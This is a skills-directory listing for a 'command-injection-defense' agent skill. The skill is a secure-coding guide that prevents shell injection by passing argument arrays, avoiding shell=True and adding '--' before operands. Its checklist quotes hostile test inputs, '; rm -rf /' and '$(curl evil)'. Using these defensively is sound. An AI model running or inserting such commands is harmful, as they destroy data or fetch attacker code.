Run external programs without ever building a shell string from untrusted input, using argument arrays that bypass the shell entirely. Use when a program shells out to another binary, especially with any value that came from a user, a file, or the network.
Scanned 9/5/2026
Install to Claude Code
npx -y skills add Amey-Thakur/AI-SKILLS --skill command-injection-defense --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Command Injection Defense?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/amey-thakur-command-injection-defense)More formats (shields.io, HTML) on the badges page.
---
name: command-injection-defense
description: Run external programs without ever building a shell string from untrusted input, using argument arrays that bypass the shell entirely. Use when a program shells out to another binary, especially with any value that came from a user, a file, or the network.
---
# Command injection defense
The moment you assemble a command as a string and hand it to a shell, every
metacharacter in it becomes live: a semicolon, backtick, `$()`, or pipe in
user input runs a second command of the attacker's choosing. Quoting and
escaping are a losing arms race against shell parsing rules. The durable fix
is to never involve a shell: pass the program and its arguments as a list so
the operating system executes exactly one binary with exactly those args.
## Method
1. **Pass an argv array, never a command string.** Use
`subprocess.run(["convert", src, dst])` in Python, `execFile` or
`spawn` with an args array in Node, `exec.Command("git", "clone", url)`
in Go. The arguments reach the program verbatim, so shell metacharacters
are inert data.
2. **Keep `shell=True` and its equivalents out.** `subprocess` with
`shell=True`, Node `exec`, Ruby backticks, and `system("string")` all
invoke `/bin/sh` on your string. If you did not type a literal command,
these must not appear in the diff.
3. **Never build the string even for the array.** Do not do
`["sh", "-c", f"convert {name}"]`: that reintroduces the shell you just
avoided. Put each value in its own array slot so the program, not a
shell, receives it.
4. **Separate options from operands with `--`.** Insert `--` before any
user-controlled path or value so a filename beginning with `-` is treated
as an operand, not a flag. This stops argument injection, the quieter
cousin where input becomes an unintended option.
5. **Validate the value against an allowlist when it selects behavior.**
When input picks a subcommand, a branch name, or a mode, match it against
a fixed set of permitted values rather than passing arbitrary text, even
through an array.
6. **Prefer a native library over shelling out.** Resolve a hostname with
the DNS library, not `dig`; manipulate images with a binding, not a
`convert` subprocess. No child process means no command to inject into.
## Checks
- Does every process launch pass an argument list, with zero `shell=True`,
`exec()`, backticks, or `sh -c` on a built string?
- Would input of `; rm -rf /` or `$(curl evil)` land as a literal argument,
doing nothing?
- Is `--` present before user-controlled operands that could look like
flags?
- Where a native library exists, is the subprocess justified rather than
reached for by habit?
## Boundaries
This addresses OS command execution. Injection into SQL, LDAP, XML, or
template engines is the same disease in a different interpreter and needs
that interpreter's parameterized interface. Where a value genuinely must
reach a shell feature like a pipeline, build the pipeline in code with
connected process handles rather than a shell string.
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!